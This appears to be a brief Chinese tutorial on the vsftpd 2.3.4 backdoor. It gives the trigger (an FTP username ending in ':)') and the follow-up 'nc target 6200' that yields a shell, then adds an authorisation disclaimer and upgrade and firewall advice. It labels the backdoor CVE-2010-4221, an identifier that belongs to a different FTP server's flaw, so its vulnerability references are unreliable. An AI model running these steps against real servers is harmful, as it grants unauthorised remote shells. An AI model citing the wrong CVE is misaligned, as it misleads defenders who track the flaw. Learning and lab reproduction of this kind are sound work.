FTP 笑脸漏洞（CVE-2010-4221）复现：vsftpd 2.3.4 后门外联、利用条件、防御加固。
写在前面：合法学习边界
FTP 漏洞测试只在授权测试环境进行。
一、FTP 笑脸漏洞
1
| ① 发现 vsftpd → ② 确认版本 → ③ 触发后门 → ④ 连接 6200 端口
|
二、利用步骤
1
2
3
4
5
6
7
| # 发现后门（用户名为 admin:）
ftp target
Name: admin:)
# 后门开启 6200 端口
nc target 6200
# 获得 Shell
|
三、防御加固
1
2
| 升级到 vsftpd 3.0.0+
防火墙关闭 6200 端口
|
四、小结
FTP 笑脸漏洞是 vsftpd 2.3.4 的后门漏洞。升级版本是唯一有效的防御。